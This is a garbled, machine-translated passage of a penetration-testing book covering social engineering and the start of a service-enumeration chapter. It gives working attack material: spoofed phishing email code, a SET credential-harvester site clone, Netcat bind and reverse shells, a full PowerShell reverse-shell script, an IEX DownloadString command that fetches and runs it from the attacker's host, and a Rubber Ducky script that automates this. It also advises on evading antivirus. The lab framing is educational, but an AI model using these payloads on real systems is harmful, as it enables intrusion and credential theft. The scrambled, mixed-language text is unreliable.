uno de los componentes principales durante un compromiso. Incluso si no va a realizar un ataque de ingeniería social, esta fase le dará un ángulo diferente sobre el dominio o la empresa a la que se dirige. La web siempre oculta algunos secretos, como contraseñas comprometidas, datos confidenciales, etc. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 5 Ingeniería SocialAtaques Cuando leo un libro, por lo general odio las introducciones largas que no abordan directamente el tema. Entonces, vayamos al grano. En este capítulo, aprenderá sobre ingeniería social y diferentes técnicas que lo ayudarán a aprovechar la debilidad humana. Tome nota, este libro trata de enseñarle los principios que puede usar en cualquier herramienta instalada en Kali Linux. En este capítulo, aprenderá sobre los siguientes temas de ingeniería social: Envío de correos electrónicos de phishing Robo de credenciales Uso del kit de herramientas de ingeniería social Conceptos básicos de las cargas útiles y los oyentes Uso del USB Rubber Ducky para ataques de ingeniería social SpearPhishingAtaques Entonces, ¿qué es el phishing? El phishing es un ataque de fraude por correo realizado contra un gran número de víctimas; contiene un elemento de interés general que atraerá a las personas a actuar en el correo electrónico. Por ejemplo, puede anunciar una botella de medicamento gratis e incluir un enlace malicioso o un archivo adjunto. Spearphishing es una forma muy específica de ataque de phishing. Por ejemplo, si el atacante sabe que el departamento de ventas usa una aplicación particular para administrar sus relaciones con los clientes, el atacante puede falsificar un correo electrónico, fingiendo que es del proveedor de la aplicación con el asunto "Emergencia" y la instrucción diciéndole que haga clic en un enlace para descargar una copia, un parche o una actualización. ¿Cuántos representantes de ventas cree que van a hacer clic en ese enla Canal de Telegram : @IRFaraExam Machine Translated by Google Enviando un correo electrónico Antes de saltar a un ejemplo práctico, hay dos puntos importantes que debe saber antes de enviar un correo electrónico a sus víctimas: Primero, necesita tener una cuenta SMT Prelay (estoy usando mi servicio de retransmisión GoDaddy). Realice una investigación para encontrar el servicio adecuado para usted. Necesita un correo electrónico profesional y convincente o, de lo contrario, su ataque fracasará inevitablemente. El kit de herramientas de ingeniería social El kit de herramientas de ingeniería social (SET), escrito por el líder de seguridad David Kennedy, está diseñado para realizar ataques avanzados contra las debilidades humanas; esto se conoce como ingeniería social . KaliLinux ya tiene esta herramienta preinstalada de forma predeterminada. Para la unidad, deberá ejecutar el kit de herramientas en la ventana de su terminal: root@kali:/#setoolkit Para enviar un correo electrónico, seleccione Ataques de ingeniería social en el primer menú: Seleccionedelmenú: 1) Ataques de ingeniería social 2) Pruebas de penetración (vía rápida) 3) Módulos de terceros 4) Actualice el kit de herramientas de ingeniería social 5) Actualizar la configuración de SET 6) Ayuda, Créditos y Acerca de 99) Salir del kit de herramientas de ingeniería social conjunto>1 A continuación, seleccione MassMailerAttack (opción n.º 5): Seleccionedelmenú: 1) Vectores de ataque de suplantación de identidad (spear-phishing) 2)Vectores de ataque al sitio web 3) Generador de medios infecciosos 4) Crear una carga útil y un oyente 5) Ataque de correo masivo 6) Vector de ataque basado en Arduino Canal de Telegram : @IRFaraExam Machine Translated by Google 7) Vector de ataque de punto de acceso inalámbrico 8)Vector de ataque del generador de código QR 9) Vectores de ataque Powershell 10) Módulos de terceros 99) Vuelva al menú principal. conjunto> 5 En la ventana siguiente, tiene la opción de enviar un correo electrónico a un grupo de personas oa un solo individuo. Veamos cómo se verá nuestro escenario de ataques por correo electrónico. Por el bien de este ejemplo, suponga que usted, como miembro del equipo rojo, finge ser un representante de Microsoft, y está enviando un correo electrónico al administrador (un empleado que trabaja en el blog de hacking ético de la empresa) para decirle que la máquina del administrador debe actualizarse. El correo electrónico contiene una URL maliciosa en la que el administrador debe hacer clic. Volviendo a nuestro menú SET, enviaremos el correo electrónico a una sola persona. Elijamos la opción número 1 y presione Enter: Qué es lo que quieres hacer: 1.E-MailAttackSingleE-mailAddress 2.E-MailAttackMassMailer 99.Vuelvaalmenúprincipal. conjunto: correo> 1 Aquí, estamos enviando este correo al administrador deethicalhackingblog.com (Sin embargo, recuerde probar estos ejercicios con algo de su propiedad). establecer: phishing> Enviar correo a: [email protected] 1.UseunaCuentaGmailparasuataquedecorreoelectrónico. 2.Usesupropioservidoroopenrelay conjunto: suplantación de identidad> 2 Cuando vea las opciones anteriores, tendrá la tentación de elegir Gmail, porque es gratis y no necesita una cuenta de retransmisión, ¿verdad? Bueno, si lo prueba, Google bloqueará con gusto sus archivos adjuntos. Canal de Telegram : @IRFaraExam Machine Translated by Google Gmail. Somos profesionales, ¿verdad? ¡No niños de secuencias de comandos! Ya que estamos utilizando una cuenta de retransmisión, elegiremos la opción 2. El correo electrónico debe ser de Microsoft. Por lo tanto, complete la información de retransmisión. (¡Esta pieza debe reflejar la información de su relé, no la mía!) La figura 5.1 muestra cómo se ve cuando el administrador recibe el correo electrónico. Figura 5.1 AdminE ÿmail Preste atención a estas dos cosas en el correo electrónico: Los errores gramaticales no están permitidos. Por ejemplo, "siguiente" no es correcto en el mensaje anterior, por lo que llamará la atención sobre la autenticidad del correo electrónico. Si desea utilizar direcciones URL, asegúrese de que estén cerca del nombre de dominio real. Por ejemplo, micosoft (sin la r) está muy cerca de Microsoft. Enviar un correo electrónico usando Python Python es un lenguaje excelente para hacer cosas en pruebas de penetración. Más adelante en este libro, aprenderá los entresijos de este lenguaje de programación. Por el momento, el siguiente código muestra cómo enviar correos electrónicos sin depender de una aplicación que lo haga por usted. #Usethesmtplibtosendane-mail importsmtplib #Configuración #Tu-dirección-de-correo,larealista sender_email=[senderemail] #Youre-mailusername username=[smtpaccountusername] #Contraseñarequeridaparasucuentadecorreo Canal de Telegram : @IRFaraExam Machine Translated by Google contraseña=[contraseña de su cuenta SMTP] #información de correo electrónico falsificada spoofed_email=[dirección de correo electrónico falsa] #Spoofedfullname spoofed_name='JuanDoe' #victimemailaddressvictim_email=[victimemailaddress] #Emailsubjectsubject="esteesunasunto\n" #E-mailbodymessage body="Esteeselcuerpo." +nombre_suplantado+ header=('Para:'+victim_email+'\n'+'From:'<'+spoofed_email+'>'+'\n'+'Subject:'+asunto) message=(header+'\n\n'+body+ '\n\n') tratar: session=smtplib.SMTP_SSL([smtpserverdomain],[smtpserverportnumber]) session.ehlo() session.login(username,password) session.sendmail(sender_email,victim_email,message) session.quit() print"EmailSentWithSuccess!" excepto smtplib.SMTPException: imprime "Error: ¡No se puede enviar el correo electrónico!" Robo de credenciales Es hora de revelar el método más beneficioso y eficiente que puede utilizar para un ataque de ingeniería social. Solo una advertencia: esto no es un tutorial para que lo use con sus amigos para robar sus contraseñas. Este es un libro profesional para personas que quieren aprender a aplicar este tipo de trucos en sus carreras. Para iniciar este ataque, primero debe preparar un correo electrónico HTML profesional y asegurarse de que no tenga dudas cuando la víctima lo reciba. Un desarrollador puede ayudarlo a clonar un sitio web y adjuntarle una base de datos para que cada vez que las víctimas envíen sus credenciales, se guardarán en esa base de datos. 1.Seleccione la opción 1: Ataques de ingeniería social. Canal de Telegram : @IRFaraExam ' Machine Translated by Google 2.Seleccione la opción 2:Vectores de ataque al sitio web. 3.Seleccione la opción 3: CredentialHarvesterAttackMethod. 4.Seleccione la opción 2: SiteCloner. set:webattack>IPaddressforthePOSTbackinHarvester/Tabnabbing[10.0.20.140]:[Ingrese su dirección IP de Kali aquí] [-]SET admite HTTP y HTTPS [-]Ejemplo:http://www.thisisafakesite.com establecer: ataque web> Ingrese la urltoclone: https://10.0.20.1/#/login [*]Clonacióndelsitioweb:[IngreselaURLdeiniciodesesiónobjetivo] [*]Esto podría tomar un poco... La mejor manera de usar este ataque es si los campos de formulario de nombre de usuario y contraseña están disponibles. [*]TheSocial-EngineerToolkitCredentialHarvesterAttack [*]La cosechadora de credenciales se está ejecutando en el puerto 80[*]Se le mostrará información a medida que llegue a continuación: La segunda parte importante es el enlace que va a agregar en su correo electrónico. ¿CuáleslamejormaneradeofuscaresaURL?Bueno,larespuestasimpleparacrear un dominio y, a continuación, cree un subdominio que sea una copia del original. toma el Facebook.com dominiocomounejemplo.Paraobtenerunresultadoexitoso,creaun dominiofalsoconunnombresimilarcomoFcb.com _ y luego crear un subdominio Facebook.com . Esto es lo que debería verse: facebook.fcb.com No te animo a que uses Facebook en tu prueba. permisopararealizarestaacción.Estoessolounejemplo. En la práctica, los equipos rojos y los probadores de penetración necesitarán usar el sitio web del empleador o del cliente. Un excelente ejemplo realista es clonar el intranetdetucliente/empleadorparaquepuedasrobareldominiodelavíctima credenciales. A continuación, enviará el correo electrónico a su víctima, mientras ve el sección anterior. Idealmente, usó un correo electrónico convincente que persuade a los empleados para hacer clic en la URL que redirigirá a los empleados al sitio falso. comenzarán a escribir sus credenciales, y cuando hagan clic en el botón de inicio de sesión, ser redirigido al sitio real. El atacante ahora tiene las credenciales del víctimas desafortunadas. Cargas útiles y oyentes Canal de Telegram : @IRFaraExam Machine Translated by Google En esta sección, aprenderá a crear una carga útil y un oyente. Si es un principiante, estos son los aspectos básicos que debe tener en cuenta antes de continuar. Una carga útil es un ejecutable que le permitirá conectarse a un oyente. El objetivo es tener una conexión TCP entre el host de la víctima y el atacante. Una vez establecida esta conexión, el pirata informático podrá manipular el sistema operativo de la víctima mediante un shell remoto. Este shell remoto puede ser un shell combinado o un shell inverso. BindShellvs.ReverseShell Es vital comprender la diferencia entre un shell atado y un shell inverso antes de pasar al siguiente capítulo de este libro. Muchos aficionados y profesionales de la seguridad tienen una idea confusa de estos dos conceptos. Usaremos algunos ejemplos prácticos para ayudarlo a comprenderlos. BindShell En un caparazón, el atacante se conecta directamente desde Kalito, la máquina de la víctima, donde el oyente ya ha sido lanzado (ver Figura 5.2). Para este escenario, usaremos Netcat para hacer el trabajo. Esta herramienta es conveniente para practicar pruebas de penetración, desafíos de captura de bandera (CTF) y exámenes de certificación como OSCP. Nos conectaremos directamente desde el host atacante Kali a un host de destino de Windows 10. Figura 5.2 BindShell Si desea practicar el mismo ejercicio por su parte, existe un binario de Netcat para Windows en Kal guardado en /usr/share/windows-binaries/nc.exe . Copie el archivo nc.exe en su host de Windows para reproducir los resultados. Canal de Telegram : @IRFaraExam . Machine Translated by Google A continuación, ejecute Netcat en modo de escucha con la opción ÿl ; además, use el puerto 9999 para escuchar las conexiones entrantes. PSC:\Users\gus\Documents\Shared>./nc.exe-nlvp9999-eC: \Windows\System32\cmd.exe listeningon[any]9999… Después de ejecutar la escucha en el host de Windows, vuelva a la sesión de Kaliteral y conéctese directamente al sistema operativo Windows mediante Netca en el puerto 9999: root@kali:/#nc-nv10.0.20.1279999 (DESCONOCIDO) [10.0.20.127]9999(?)abierto MicrosoftWindows[Versión 10.0.17763.1039] (c)2018MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\gus\Documentos\Compartido> ReverseShell Un shell inverso es una opción favorita para los probadores de penetración, y leerá mucho al respecto en este libro. El método es lo opuesto al shell vinculante. El secreto no está en ninguna parte: en una conexión de shell inverso, los cortafuegos generalmente permitirán que el tráfico pase. Figura 5.3 ReverseShell Practiquemos el escenario de shell inverso con Netcat de nuevo. Primero, ejecute Netcat listener en el host (Kali en este ejemplo). Use el puerto 8888 para escuchar Canal de Telegram : @IRFaraExam Machine Translated by Google conexiones entrantes: root@kali:/#ncÿnlvp8888 escuchando[cualquiera]8888… A continuación, cambie al host de Windows de la víctima y conéctese al oyente en el puerto 8888. Tenga en cuenta que la dirección IP del KaliVM es 10.0.20.140: PSC:\Usuarios\gus\Documentos\Compartido>./nc.exe10.0.20.1408888-eC: \Windows\System32\cmd.exe Volvamos a nuestro host Kali y deberíamos ver un shell inverso exitoso. root@kali:/#nc-nlvp8888 escuchando en [cualquier] 8888… conectarse a [10.0.20.140] desde (DESCONOCIDO) [10.0.20.127] 54479 MicrosoftWindows[Versión 10.0.17763.1039] (c)2018MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\gus\Documentos\Compartido> Shell inverso con SET Debe tener cuidado con la forma en que asegura su carga útil antes de enviarla a su destino. En otras palabras, debe asegurarse de que el ejecutable de su carga útil no sea detectado por el software antivirus instalado en la PC de la víctima. www.virustotal.com/gui/home/upload Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 5.4 VirusTotal La mejor manera de ofuscar sus cargas útiles es usando una personalizada. En otras palabras, debe desarrollar una carga útil usando un lenguaje de programación como Python, PowerShell, C#, etc. Aprenderá más sobre este tema en este libro, pero por el momento, veamos cómo generar una carga útil usando SET. Primero, ejecute la aplicación SET y elija las siguientes opciones: Seleccione la opción 1: Ataques de ingeniería social Seleccione la opción 4: Crear una carga útil y un oyente Seleccione la opción 1: WindowsShellReverse_TCP A continuación, se le pedirá que ingrese su IP de host Kali (atacante) y el número de puerto que desea escuchar. Una vez que lo haga, generará una carga útil en /root/.set/payload.exe . Finalmente, se le pedirá que inicie el oyente . Canal de Telegram : @IRFaraExam Machine Translated by Google set:payloads>IPaddressforthepayloadlistener(LHOST):10.0.20.140 set:payloads>IngresarelPUERTOparaelescuchainverso:7777 [*]Generandolacarga útil..seapaciente. [*]La carga útil se ha exportado al directorio SET predeterminado ubicado en /root/.set/ payload.exe set:payloads>¿Desea iniciar la carga útil y escuchar ahora? (sí/no): sí [*] Al iniciar msfconsole, esto puede tardar unos minutos en cargarse. Tenga paciencia... En esta etapa, el SET inicia automáticamente el oyente del controlador múltiple Metasploit. Profundizaremos en Metasploit más adelante en este libro, y verá cómo crear un oyente manualmente. SET hace todo por usted sin la molestia manual. El oyente ahora debería estar funcionando y esperando las conexiones entrantes de las víctimas: =[metasploitv5.0.85-dev] +---=[2002exploits-1093auxiliary-342post] +---=[560payloads-45encoders-10nops] +----=[7evasión] Sugerencia para metasploit: puede usar la ayuda para ver todos los comandos disponibles [*]Processing/root/.set/meta_configforERBdirectives. resource(/root/.set/ meta_config)>usemulti/handler resource(/root/.set/ meta_config)>setpayloadwindows/shell_reverse_tcp payload=>windows/ shell_reverse_tcp resource(/root/.set/meta_config)>setLHOST10.0.20.140 LHOST=>10.0.20.140 recurso(/root/.set/meta_config)>setLPORT7777 LPORT=>7777 recurso(/root/.set/meta_config)>setExitOnSessionfalse ExitOnSession=>falso recurso(/root/.set/meta_config)>explotar -j [*]Exploitejecutándose como trabajo en segundo plano0. [*]Exploitcompletó, pero no se creó ninguna sesión. [*]IniciadoreverseTCPhandleron10.0.20.140:7777msf5exploit(multi/ handler)> Es hora de enviar la carga útil a la VM host de Windows 10 de nuestra víctima y ejecutarla Canal de Telegram : @IRFaraExam Machine Translated by Google desde allí. Tome nota de que la carga útil se guarda en /root/.set/payload.exe . A continuación, copie payload.exe en el host de Windows y haga doble clic para ejecutarlo. desde dentro de la VM de Windows. Para que esto funcione, tengo que deshabilitar la software antivirus en el host de Windows 10 antes de copiar el archivo payload.exe . Después de ejecutar el archivo de carga útil en el host de Windows, Metasploit Listener debe mostrar una conexión exitosa. Para visualizar la sesión actualmente abierta, use el comando de sesiones . Después de ejecutar el comando de sesiones , indicar que hay una sesión abierta. Para interactuar con esa sesión, ejecute el sesiones-i1 comando. Una vez que presione Entrar, tendrá una Windowsshell para usar al alcance de su mano: [*]IniciadocontroladorTCPreversoen10.0.20.140:7777msf5exploit(multi/ handler)>[*]Commandshellsession1abierto(10.0.20.140:7777>10.0.20.127:54501)en2020-05-2211:27:38-0400 sesiones Sesiones activas =============== IdNombreTipoInformaciónConexión --------------------------------------------1 shellx86/windowsMicrosoftWindows[Versión 10.0.17763.1039] (c)2018MicrosoftCorporation.A…10.0.20.140:7777>10.0.20.127:54501(10.0.20.127) msf5exploit(multi/controlador)>sesiones-i1 C:\Usuarios\gus\Documentos\Compartido> Ingeniería social con USBRubberDucky El USBRubberDuckyesuninventofantásticoparalosataquesdeingenieríasocial. Puede comprarlo en la tienda en línea de Hak5 y viene con tutoriales que le muestran cómo funciona: shop.hak5.org/products/usb-rubber-ducky-deluxe El USBRubberDucky se utilizó en la temporada 2 de Mr. Robot debido a la efectividad del ataque, así que qué es mejor que usar esta herramienta que se mostró en ¿Un programa de televisión de Hollywood? ¿Por qué esta herramienta es tan convincente? El USB Rubber Ducky no es una memoria USB, aunque parece uno; es, de hecho, un teclado. ¿Y adivina qué? Antivirus Canal de Telegram : @IRFaraExam Machine Translated by Google el software pensará que acaba de conectar un teclado y no una memoria USB. ¡Aún no hemos terminado! Cuando insertes este dispositivo en la computadora, comenzará a escribir y ejecutar lo que quieras en la máquina de la víctima: ¡qué invento fantástico! En la Figura 5.5, puede ver el USB Rubber Ducky con su cubierta de plástico (si compara su tamaño con una memoria USB real, es bastante más pequeña que la mayoría de las USB en el mercado), y en el lado derecho, la cubierta se ha quitado por completo. Figura 5.5 USBRubberDucky En la imagen de la derecha, puede ver una tarjeta MicroSD insertada; la usaremos para guardar nuestro script de carga útil. Repasemos los pasos que debe seguir para poner este juguete en funcionamiento: 1. Extraiga la tarjeta Micro SD del USB Rubber Duck e insértela en un Adaptador USB (consulte la Figura 5.6). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 5.6 USBRubberDucky con MicroSD 2. Tome el adaptador USB y péguelo en su caja Kali Linux. Es hora de comenzar a desarrollar su secuencia de comandos Ducky. Aquí hay una secuencia de comandos de muestra que abrirá el Bloc de notas en la máquina de la víctima e imprimirá "Hello World" (dentro del Bloc de notas): REMMyFirstScriptÿcomentarios WINDOWSrÿWindows+R=abrir la ventana DELAY100ÿdéle tiempo para abrir con un retraso STRINGnotepad.exeÿescribanotepad.exedentrodelejecutarENTERÿretornodelcarroparaabrirnotepad DELAY200ÿdéletiempoparaabrir STRINGHelloWorld!ÿescribaeltexto"HelloWorld!"dentrodeunnotepad 3. Cuando termine de escribir el script, guárdelo en un archivo de texto. En esta etapa, necesitamos compilarlo usando el siguiente comando: $ java-jar [ruta del archivo de codificador de pato] -i [el archivo de texto de entrada] -o [el archivo de salida que se generará] Después de ejecutar el comando javaencoder anterior, debe guardar el archivo .bin de salida en la tarjeta MicroSD. Tenga en cuenta que es el archivo .bin el que se ejecutará cuando el patito se inserte en el host de la víctima . 4. Expulse el adaptador USB de su servidor Kali y vuelva a colocar la unidad MicroSD en el USBRubberDucky. Canal de Telegram : @IRFaraExam Machine Translated by Google 5. Es hora de la parte divertida: inserte el USB Rubber Ducky en su PC de destino. Para asegurarse de que funciona, puede probar en una PC diferente para visualizar la salida (también para asegurarse de que no ha cometido ningún error de tiempo de ejecución de codificación en el script). En general, cuando inserta el USB Rubber Duckystick en la PC de la víctima, ejecutará la secuencia de comandos automáticamente. Pero en caso de que la secuencia de comandos no se ejecute o falle, tiene la opción de usar la unidad manualmente haciendo clic en el pequeño botón negro Ejecutar en el medio. ( Consulte la Figura 5.5; parece un pequeño botón de reinicio). APrácticoReverseShellUsingUSBRubberDuckyand Potencia Shell Este capítulo finaliza con una gran receta para shell inverso contra sistemas operativos Windows, utilizando PowerShell. Este lenguaje de secuencias de comandos fue inventado por Microsoft como un equivalente a Bashin Linux OS. Antes de aprender cómo aprovechar este comportamiento en la práctica, estos son los pasos utilizados en este escenario: 1. Genere un shell inverso de PowerShell mediante SET. 2. Comience a escuchar en el host Kali. 3. Aloje el archivo .ps1 de PowerShell en el servidor web Kali. 4. Cambie al host de Windows y ejecute PowerShell en modo administrativo. 5. Ejecute un comando que descargará y ejecutará el host de script .ps1 en elKaliVM. 6.Compruebe que tiene un shell nuevo en el host de Windows. 7. Vuelva a crear la escena de PowerShell con USB Rubber Ducky. Generación de un script de PowerShell Abra la aplicación SET y realice los siguientes pasos: 1. Seleccione la opción número 1: Ataques de ingeniería social. 2. Elija la opción número 9: PowerShell AttackVectors. 3.Seleccioneopciónnúmero2:PowerShellReverseShell. A continuación, se le pedirá que ingrese su dirección IP de Kali. (Mi dirección IP de Kali es 10.0.20.140). Ingrese el puerto en el que desea escuchar (usaremos 443 para este ejemplo, que representa HTTPS/TLS para ofuscación). Canal de Telegram : @IRFaraExam Machine Translated by Google le preguntará si desea iniciar el oyente, y seleccionará no . (Entenderá por qué pronto): Ingrese la dirección IP o el nombre DNS para el host inverso: 10.0.20.140 set: powershell> Ingrese el puerto para el oyente [443]: 443 [*] Reescribiendo el shell inverso de power shell con opciones [*] Exportando las cosas de power shell a/root/.set/reports/powershell set> ¿Desea iniciar un oyente [sí/no]: no Inicio de un oyente En el paso anterior, decidimos no iniciar el oyente porque queremos buscar un patrón diferente. Ahora que sabe quién funciona con el shell inverso, iniciaremos un oyente manualmente usando Netca en Kalibox. También puede usar Metasploit, pero para simplificar, sigamos con Netcat: root@kali:~#nc-nlvp443 escuchando[cualquiera]443… -n:NorealizarbúsquedaDNS -l:mododeescucha -v:mododetallado -p:establecerelnúmerodepuertodeescucha Hospedaje del script de PowerShell El kit de herramientas SET ha generado un archivo de texto en la siguiente ruta: ~/.set/informes/powershell/powershell.reverse.txt Si abre el archivo de texto, se dará cuenta de que SET ya ha completado la dirección IP y el número de puerto para usted: limpieza de funciones{ if($client.Connected-eq$true){$client.Close()} if($process.ExitCode-ne$null){$process.Close()} exit} //ConfigurarIPADDR $dirección='10.0.20.140' //SetupPORT $port='443' $client=New-Objectsystem.net.sockets.tcpclient $client.connect($address, $port) $stream=$client.GetStream() $networkbuffer=NewObjectSystem.Byte[ ]$client.ReceiveBufferSize $process=NewObjectSystem.Diagnostics.Process Canal de Telegram : @IRFaraExam Machine Translated by Google $process.StartInfo.FileName='C:\\windows\\system32\\cmd.exe' $process.StartInfo.RedirectStandardInput=1 $process.StartInfo.RedirectStandardOutput=1 $process.StartInfo.UseShellExecute=0 $process.Start () $inputstream=$process.StandardInput $outputstream=$process.StandardOutput Start-Sleep1 $encoding=newobjectSystem.Text.AsciiEncoding while($outputstream.Peek()-ne-1) {$out+=$encoding.GetString ($outputstream.Read())} $stream.Write($encoding.GetBytes($out),0,$out.Length) $out=$null;$done=$false; $testing=0; while(-not$done){ if($client.Connected-ne$true){cleanup} $pos=0;$i=1 while(($i-gt0)-and($pos-lt$networkbuffer.Length )){ $lectura=$stream.Read($networkbuffer, $pos,$networkbuffer.Length-$pos) $pos+=$read;if($pos-and($networkbuffer[0..$ ($pos-1 )]-contains10)){break}} if($pos-gt0){ $string=$encoding.GetString($networkbuffer,0,$pos) $inputstream.write($string) start-sleep1 if($process. ExitCode-ne$null){limpieza} else{ $out=$codificación.GetString($outputstream.Read()) while($outputstream.Peek()-ne-1) { $out+=$encoding.GetString($outputstream.Read());if($out- eq$string){$out=''}} $stream.Write($encoding.GetBytes($out),0,$out.length) $out=$null $string=$null}} else{cleanup}} Hay un pequeño problema con el código anterior y tenemos que solucionarlo. Los prefijos de comentarios son incorrectos, por lo que debemos deshacernos de estas dos líneas de comentarios por completo borrándolas: Eliminar esta línea://ConfigurarIPADDR Eliminar esta línea: // SetupPORT Ahora guarde este archivo como .ps1 ; en el caso de nuestro ejemplo, llamemos ps.reverse.ps1 y luego cópielo en el directorio del servidor web. No olvide iniciar los servicios del servidor web para que podamos invocarlo desde la máquina host de Windows: Canal de Telegram : @IRFaraExam Machine Translated by Google root@kali:~/.set/reports/powershell#cpps.reverse.ps1/var/www/html/ root@kali:~/.set/reports/powershell#serviceapache2start EjecuciónPowerShell A continuación, cambie al host de Windows y ejecute PowerShell en modo administrador. esto, abra el menú de Windows y busque PowerShell. Luego, haga clic con el botón derecho y elija Ejecutar como administrador, como se muestra en la Figura 5.7. Descargar y ejecutar el script PS Ahora que tiene PowerShell ejecutándose, el siguiente paso es ejecutar un par de comandos para poner en marcha y ejecutar el shell remoto. Primero, cambie la ejecución política en PowerShell para que pueda ejecutar comandos con privilegios elevados. ejecute el comando que descargará el script de Kali VM y ejecutará la unidad enlasesiónactualmenteabierta: WindowsPowerShell Copyright(C)MicrosoftCorporation.Todoslosderechosreservados. PSC:\Windows\system32>SetÿExecutionPolicyUnrestricted ExecutionPolicyChangeExecutionPolicyChange La política de ejecución ayuda a protegerlo de scripts en los que no confía. Cambiar la política de ejecución podría exponer a los riesgos de seguridad descritos en el tema de ayuda about_Execution_Policies https: /go.microsoft.com/fwlink/? LinkID = 135170. ¿Desea cambiar la directiva de ejecución? [Y] Sí [A] Sí a todos [N] No [L] No a todos [S] Suspender [?] Ayuda (predeterminado es "N"): S PSC:\Windows\system32> IEX(Newÿ ObjectNet.WebClient).DownloadString('http://10.0.20.140/ps.reverse.ps1') Cierto Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 5.7 Ejecución de PowerShellinAdminMode ReverseShell Si volvemos a nuestro host Kali, deberíamos ver un caparazón inverso en nuestro Netcat Sesión de terminal de Windows: Canal de Telegram : @IRFaraExam Machine Translated by Google root@kali:~#nc-nlvp443 escuchando[cualquier]443… conectarse a[10.0.20.140]desde(DESCONOCIDO)[10.0.20.127]50820 MicrosoftWindows[Versión10.0.17763.1217] (c)2018MicrosoftCorporation.Todoslosderechosreservados. C:\Windows\sistema32> ReplicacióndelataqueusandoelUSBRubberDucky Ahora que vio cómo ejecutar los pasos anteriores en un entorno de entorno, el siguiente paso es replicar estos eventos usando el USBRubberDucky. REMReverseShellProgram DEMORA100 REMAbrir la ventana de ejecución VENTANASr DELAY1000 REMExecutePowerShellasAdmin STRINGpowershell "Start-Processpowershell-verbrunAs" DELAY100 ENTER DELAY5000 ALTy DELAY1000 REMHabilitar secuencia de comandos de ejecución STRINGEstablecer política de ejecución sin restricciones ENTER DELAY5000 REMAceptarel mensaje de aviso ENTER REMConectarse a la máquina atacante STRINGIEX(New-ObjectNet.WebClient).DownloadString('http:// 10.0.20.140/ps.reverse.ps1') INGRESAR Resumen Vio muchas técnicas en este capítulo para los ataques de ingeniería social, pero ¿cómo puede saber cuál es la mejor y cuál elegir para el escenario correcto? Estas son las pautas generales que debe conocer cuando comience a planificar sus ataques de ingeniería social: Primero, asegúrese de que cuando prepare su mensaje de correo electrónico o llamada telefónica, Canal de Telegram : @IRFaraExam Machine Translated by Google son convincentes y lo suficientemente profesionales como para que el usuario final muerda el anzuelo. Segundo, el secreto para un ataque de ingeniería social exitoso es la preparación adecuada. éxito. Luego viene la fase de infección. Si desea utilizar un kit de hardware en sus ataques, asegúrese de utilizar uno bueno como el USB Rubber Ducky, por ejemplo. Asyoumayhavesurelynoticed, myfavoritemethodtoinfectWindows machinesisusingPowerShell.Inarealengagement, generado por , que aprenderás don'tusethepre reverseshellsliketheoneinMetasploit (por ejemplo, msfvenom moreaboutlaterinthisbook), becauseantivirussoftwarewillbeveryhappyto catchit.Thebestwaytousereverseshellsistouseonethatyoudeveloped yourselfusingyourfavoriteprogramminglanguagesuchasPowerShell, Python, C ++, orJava; intheend, shellsintheupcomingchapters it'syourchoice.Youwilllearnmoreaboutreverse. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 6 Fase de enumeración avanzada . Inthischapter, youwilllearnhowtohandletheenumerationphaseina penetrationtestingengagement.Enumerationinourdiscussionmeanscollecting thenecessaryinformationthatwillallowustoexploitthespecificservice (. Por ejemplo, FTP, SSH, etc) Porejemplo, enableustorevealvalidcredentials theSSHservicebrute-forceenumerationwill, sowecanuseittoexploitandlogintothe thenecessaryinformationsuchasremoteusers remotehost.AnothercommonpracticeistouseNmapscriptssowecangather, serviceversions, remotecode executionexploitation, andmuchmore.Thischapterwon'tcoveralltheservices, butthemostcrucialpartisthatyouunderstandtheconceptoftheenumeration enumerationofthefollowingservices processsothatyoucanapplyittoanytypeofservice.Thischaptercoversthe: FTP SSH Telnet SMTP POP3 e IMAP4 Microsoft SQL OracleDatabaseServerOracleDatabaseServer mysql DockerEngine Jenkins HTTP/S PDR VNC PYME SNMP Canal de Telegram : @IRFaraExam Machine Translated by Google Protocolos de transferencia Previouslyinthisbook, theservicesoneachhost.Atthisstage youlearnedyouhowtoscanthenetworkandidentify, youknowhowtouseNmaptogetthe jobdone.Afterscanningeachhost, vulnerabilitiestoexploit.Forexample weneedtostartinvestigatingpotential, anfitrión youfoundthatyourtargetisaLinux, andit'susingSSHasaservicetoallowremoteuserstoauthenticateinto thehost.Doyouknowwhattodonext? Intheupcomingsections, you'llseethe logicalstructurethatwillallowyoutoenumerateeachpopularservice. FTP (Puerto 21) El Protocolo de transferencia de archivos (FTP) se usa para transferir archivos entre un cliente y un servidor remoto. Este último se usa para almacenar archivos para que pueda acceder a ellos de forma remota. A veces, las aplicaciones web utilizan FTP para sincronizar el código fuente alojado (p. ej., HTML, JavaScript, etc.). Dos implementaciones seguras de FTP son FTP y SFTP. Estas son las debilidades comunes en el protocolo FTP: Las credenciales de inicio de sesión se envían en texto sin cifrar. La transmisión de archivos no está cifrada. Escenarios de explotación para un servidor FTP Es importante entender en esta etapa cómo la explotación buscará este servicio (usted necesita saber de antemano lo que está buscando, o simplemente está escaneando con los ojos cerrados). Un servidor FTP puede ser explotado de diferentes maneras. Estos son los escenarios comunes que encontrará durante su participación: Credenciales de fuerza bruta Olfateando credenciales de texto sin cifrar Rastreo de archivos no cifrados Acceso anónimo Encontrar un exploit público asociado con la versión del servidor FTP de destino (en Canal de Telegram : @IRFaraExam Machine Translated by Google en el capítulo siguiente, aprenderá a buscar exploits públicos) Flujo de trabajo de enumeración A lo largo de este capítulo, obtendrá información sobre cada enumeración de servicios flujo de trabajo a través de ejemplos reales (un ejemplo vale un billón de palabras). ejemplo, el host de destino es una VM vulnerable a Linux y se llama Metaexplotable versión 2; puede obtener una copia de VM de este host desde information.rapid7.com/download-metasploitable-2017.html . Escaneo de servicio Enelprimerpaso,ejecutaremosexploracióndeserviciosbásicosenNmapaparaobtenerunaideadelos servidor FTP de destino: root@kali:~# nmapÿsVÿOÿsCÿp21ÿT5metasploitable.kcorp.local ComenzandoNmap7.80(https://nmap.org)a las 2020-06-0414:33EDT Nmapscan informa sobre la explotación.kcorp.local(172.16.0.101) Hostsup (0.00062 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 21/tcpopenftpvsftpd2.3.4 |_ftp-anon:AnónimoFTPloginallowed(FTPcode230) |ftp-syst:|STAT:| Estado servidor del FTP: |Conectado 